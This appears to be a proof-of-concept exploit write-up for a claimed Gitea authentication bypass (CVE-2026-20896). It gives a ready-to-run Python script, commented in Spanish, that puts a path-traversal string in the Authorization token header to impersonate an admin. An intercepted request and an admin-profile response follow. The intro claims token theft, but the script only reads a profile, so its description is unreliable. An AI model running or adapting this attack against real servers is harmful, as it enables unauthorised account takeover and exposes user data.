
Automated PoC exploit for CVE-2026-20896, a Gitea authentication bypass via directory traversal in the API authorization header, enabling administrative token theft.
This script automates the exploitation of the logic flaw in Gitea's API route validation, allowing to force the server to grant a valid administrative token through a Directory Traversal attack in the authorization header.
#!/usr/bin/env python3
# PoC: Gitea Authentication Bypass (CVE-2026-20896)
# Uso exclusivo para entornos controlados y auditorías autorizadas (CTF)
import requests
import sys
import argparse
def expone_bypass(target_ip, username):
print(f"[*] Iniciando ataque contra el servidor Gitea: {target_ip}")
# URL del endpoint vulnerable de la API
url = f"http://{target_ip}/api/v1/user"
# Construcción del payload de evasión aprovechando el fallo de lógica en las rutas
# El servidor concatena mal la ruta del token permitiendo saltar al perfil objetivo
payload_token = f"../../../../api/v1/users/{username}/tokens/spoof_bypass"
cabeceras = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0)",
"Authorization": f"token {payload_token}",
"Accept": "application/json"
}
try:
# Enviamos la solicitud HTTP maliciosa
respuesta = requests.get(url, headers=cabeceras, timeout=10)
# Si el servidor responde con 200 OK, la evasión fue exitosa
if respuesta.status_code == 200:
print("[+] \033[92m¡Vulnerabilidad explotada con éxito!\033[0m")
datos_usuario = respuesta.json()
print(f"[+] Sesión secuestrada del usuario: {datos_usuario.get('username')}")
print(f"[+] Correo asociado: {datos_usuario.get('email')}")
print(f"[+] ID de cuenta en base de datos: {datos_usuario.get('id')}")
return True
else:
print(f"[-] El servidor respondió con código: {respuesta.status_code}")
print("[-] Intento de bypass rechazado o parcheado.")
return False
except requests.exceptions.RequestException as e:
print(f"[!] Error de conexión con el objetivo: {e}")
sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC CVE-2026-20896 - Gitea Bypass")
parser.add_argument("-t", "--target", required=True, help="IP o dominio del servidor Gitea")
parser.add_argument("-u", "--user", default="admin", help="Usuario objetivo a suplantar (Por defecto: admin)")
args = parser.parse_args()
expone_bypass(args.target, args.user)
By running the previous script, we can intercept the request in the Proxy to verify how the backend processes the attack vector without requiring a valid signature:
GET /api/v1/user HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Authorization: token ../../../../api/v1/users/admin/tokens/spoof_bypass
Accept: application/json
Connection: close
Server Response (Vulnerable):
The server processes the content due to the failure in token string normalization, returning the JSON object of the administrator's profile with a 200 OK status:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Frame-Options: SAMEORIGIN
{
"id": 1,
"username": "admin",
"login": "admin",
"full_name": "Administrador del Sistema",
"email": "[email protected]",
"avatar_url": "http://192.168.0",
"is_admin": true,
"last_login": "2026-07-01T15:22:01Z"
}